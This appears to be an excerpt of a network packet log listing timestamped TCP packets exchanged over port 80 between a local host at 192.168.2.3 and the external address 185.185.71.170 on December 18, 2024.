Dec 18, 2024 20:56:37.065265894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.065303087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.066364050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.066467047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.066502094 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.067409039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.067538023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.067576885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.068478107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.068644047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.068783998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.069602966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.069689989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.070060968 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.070708036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.070852041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.070893049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.071861029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.072066069 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.072107077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.072897911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.073024988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.073209047 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.074028015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.074100971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.074158907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.075119019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.075211048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.075304985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.076195002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.076338053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.076381922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.077332020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.077457905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.077598095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.078460932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.078562975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.078605890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.079547882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.079658985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.079694986 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.080800056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.134332895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.215742111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.215768099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.215826035 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.216108084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.216187000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.216237068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.216918945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.217020988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.217063904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.218094110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.218190908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.218233109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.219084978 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.219199896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.219242096 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.220161915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.220235109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.220339060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.221807003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.221889973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.221946001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.222359896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.222495079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.222532988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.223552942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.223586082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.223638058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.224431038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.224519968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.224653006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.225492001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.225663900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.225776911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.226520061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.226646900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.226691008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.227885008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.228061914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.228197098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.229159117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.229321957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.229373932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.230400085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.230499029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.230613947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.231440067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.231558084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.231591940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.232672930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.232711077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.232789993 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.233735085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.233849049 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.233958960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.234988928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.235069036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.235182047 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.236181021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.236269951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.236318111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.237515926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.237612963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.237771034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.238718033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.238840103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.239044905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.240029097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.240128040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.240185022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.241189957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.241321087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.241378069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.242394924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.242482901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.242525101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.243613005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.243645906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.243705988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.244719982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.244812012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.245191097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.245872974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.246064901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.246117115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.247215033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.247406960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.247454882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.248476982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.248610973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.248972893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.249763966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.249850988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.249941111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.250829935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.250953913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.251034975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.252166033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.252202034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.252253056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.253496885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.253570080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.253937006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.254751921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.254854918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.254903078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.255841970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.256087065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.256136894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.257052898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.257179976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.257226944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.258389950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.258512974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.258553982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.259752035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.259879112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.259960890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.261117935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.261228085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.261286020 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.262475967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.262660980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.262756109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.417675972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.417701960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.417735100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.417747974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.417759895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.417771101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.417790890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.417829037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.417829037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428280115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428308964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428332090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428344011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428355932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428368092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428370953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428380966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428388119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428396940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428410053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428421021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428422928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428432941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428443909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428447008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428462029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428464890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428474903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428487062 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428487062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428502083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428514004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428524971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428529024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428539991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.428548098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.428580046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429179907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429193974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429204941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429219007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429229021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429233074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429246902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429258108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429259062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429271936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429279089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429286003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429296970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429311037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429316998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429332018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429339886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429343939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429357052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429364920 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429369926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429377079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429390907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429398060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429406881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429409981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429410934 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429416895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.429454088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.429454088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.435353994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.435409069 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.438117027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.438129902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.438141108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.438271999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.438572884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.438592911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.438633919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.468014002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.468036890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.468122005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.469628096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.469649076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.469702959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.474442959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.474507093 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.474520922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.474543095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.474567890 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.475471973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.475488901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.475501060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.475538015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.475864887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.475903988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.477448940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.481153965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.481175900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.481215000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.493465900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.493627071 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.497149944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.497170925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.497267008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.498316050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.501166105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.501183033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.501231909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.501238108 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.501271009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.501522064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.502742052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.502757072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.502794027 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.504534960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.504550934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.504564047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.504578114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.504586935 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.504604101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.504955053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.505002022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.505867958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.509136915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.509150982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.509160995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.509202957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.509227037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.509576082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.509588957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.509629011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.512269020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.528127909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.528147936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.528193951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.528472900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.529484034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.529496908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.529509068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.529532909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.529583931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.530636072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.530647993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.530690908 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.531867027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.532902002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.532957077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.533019066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.534027100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.534092903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.534106970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.534136057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.534147024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.534148932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.534197092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.534542084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.536281109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.536309958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.536322117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.536348104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.536376953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.537131071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.537146091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.537158012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.537174940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.537192106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.537226915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.537606955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.547877073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.547899008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.547941923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.547943115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.547983885 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:37.548163891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.548207998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:37.548219919 CET	80	49747	185.185.71.170	192.168.2.3
